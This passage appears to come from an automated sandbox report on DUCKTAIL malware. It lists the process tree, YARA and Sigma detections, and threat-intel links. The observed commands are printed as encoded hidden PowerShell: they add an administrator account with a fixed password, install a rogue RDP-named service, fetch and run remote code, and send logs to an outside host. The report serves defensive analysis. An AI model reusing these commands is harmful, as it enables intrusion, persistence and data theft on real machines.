wBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 8744 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 8144 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 6252 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 7812 cmdline: "cmd.exe" /c sc stop "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 4200 cmdline: sc stop "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 6256 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 2704 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 3992 cmdline: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 1196 cmdline: sc delete "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 3920 cmdline: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

net.exe (PID: 1756 cmdline: net start "myRdpService" MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 3384 cmdline: C:\Windows\system32\net1 start "myRdpService" MD5: BA0BCCC6029FBBE6D8B41197F252742F)

powershell.exe (PID: 9076 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

myRdpService.exe (PID: 5184 cmdline: C:\Windows\Temp\myRdpService.exe cakoi10 MD5: 5641F3A5B9787F23D3D34F0D9F791B7A)

regedit.exe (PID: 7840 cmdline: "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService" MD5: 999A30979F6195BF562068639FFC4426)

powershell.exe (PID: 4324 cmdline: "powershell.exe" -Command "systeminfo | Select-String \"OS Name\",\"OS Version\";" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

systeminfo.exe (PID: 4684 cmdline: "C:\Windows\system32\systeminfo.exe" MD5: EE309A9C61511E907D87B10EF226FDCD)

WmiPrvSE.exe (PID: 6008 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 5928 cmdline: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 7884 cmdline: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DUCKTAIL	According to Tony Lambert, this is a malware written in .NET. It was observed to be delivered using the .NET Single File deployment feature.	No Attribution	https://forensicitguy.github.io/analyzing-net-core-single-file-ducktail/ https://harfanglab.io/en/insidethelab/reverse-engineering-ida-pro-aot-net/ https://labs.withsecure.com/assets/BlogFiles/Publications/WithSecure_Research_DUCKTAIL.pdf https://labs.withsecure.com/content/dam/labs/docs/WithSecure_Research_DUCKTAIL.pdf https://securelist.com/ducktail-fashion-week/111017/	https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000002E.00000002.5360410933.00007FF7E4DB6000.00000004.00000001.01000000.0000000A.sdmp	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0xdac4:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x11f94:$a2: 0123456789012345678901234567890123456789 0x3291c:$a3: NTPASSWORD 0x2f7b4:$a4: LMPASSWORD 0x5cd04:$a5: aad3b435b51404eeaad3b435b51404ee 0x14f54:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0
00000004.00000002.4053919811.0000016FE17CC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Ducktail_11	Yara detected Ducktail	Joe Security
00000004.00000002.4053919811.0000016FE0DCC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Ducktail_11	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 6616	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 6616	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x384352:$b1: ::WriteAllBytes( 0x3c1143:$b1: ::WriteAllBytes( 0x17c821:$b2: ::FromBase64String( 0x17c880:$b2: ::FromBase64String( 0x17c901:$b2: ::FromBase64String( 0x17c966:$b2: ::FromBase64String( 0x17c9e5:$b2: ::FromBase64String( 0x17ca4d:$b2: ::FromBase64String( 0x17cc86:$b2: ::FromBase64String( 0x17ccfd:$b2: ::FromBase64String( 0x2f3550:$b2: ::FromBase64String( 0x2f3e26:$b2: ::FromBase64String( 0x2f3ec4:$b2: ::FromBase64String( 0x2f40a1:$b2: ::FromBase64String( 0x2f41e5:$b2: ::FromBase64String( 0x2f424b:$b2: ::FromBase64String( 0x2f42b1:$b2: ::FromBase64String( 0x2f4317:$b2: ::FromBase64String( 0x2f4373:$b2: ::FromBase64String( 0x2f4409:$b2: ::FromBase64String( 0x2f4471:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 5508	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 5508	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1c074f:$b1: ::WriteAllBytes( 0x1af06f:$b2: ::FromBase64String( 0x1b1870:$b2: ::FromBase64String( 0x1b1f5c:$b2: ::FromBase64String( 0x1b1fd3:$b2: ::FromBase64String( 0x1b7d1a:$b2: ::FromBase64String( 0x250536:$b3: ::UTF8.GetString( 0xf034:$s1: -join 0xf96f:$s1: -join 0x2e647d:$s1: -join 0x9e4c6:$s3: Reverse 0xa646f:$s3: Reverse 0xa648e:$s3: Reverse 0xa9f43:$s3: Reverse 0xa9f88:$s3: Reverse 0xb2d73:$s3: Reverse 0xb2d8c:$s3: Reverse 0xb68dc:$s3: Reverse 0x12b319:$s3: reverse 0x12b3b4:$s3: reverse 0x133e86:$s3: reverse
Process Memory Space: svczHost.exe PID: 9168	JoeSecurity_Ducktail_6	Yara detected Ducktail	Joe Security
Process Memory Space: svczHost.exe PID: 9168	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0xd9a90:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0xdb1ec:$a2: 0123456789012345678901234567890123456789 0xe7bb0:$a3: NTPASSWORD 0xe68e7:$a4: LMPASSWORD 0xf93db:$a5: aad3b435b51404eeaad3b435b51404ee 0xdc0e4:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
46.2.myRdpService.exe.7ff7e48b0000.0.unpack	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0x511cc4:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x516194:$a2: 0123456789012345678901234567890123456789 0x536b1c:$a3: NTPASSWORD 0x5339b4:$a4: LMPASSWORD 0x560f04:$a5: aad3b435b51404eeaad3b435b51404ee 0x519154:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0

Other

Source	Rule	Description	Author	Strings
amsi64_5508.amsi.csv	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
amsi64_5508.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc5c5:$b1: ::WriteAllBytes( 0x8a36:$b2: ::FromBase64String( 0xb238:$b2: ::FromBase64String( 0xb925:$b2: ::FromBase64String( 0x529:$b3: ::UTF8.GetString( 0x8688:$s1: -join 0x239:$s4: += 0x25c:$s4: += 0x1e34:$s4: += 0x1ef6:$s4: += 0x611d:$s4: += 0x823a:$s4: += 0x8524:$s4: += 0x866a:$s4: += 0xbadf:$s4: += 0xbcdc:$s4: += 0xdf92:$s4: += 0x64867:$s4: += 0x648e7:$s4: += 0x649ad:$s4: += 0x64a2d:$s4: +=

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAY

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Source: Process started

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQA

Sigma detected: PowerShell Base64 Encoded WMI Classes

Source: Process started

Author: Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8A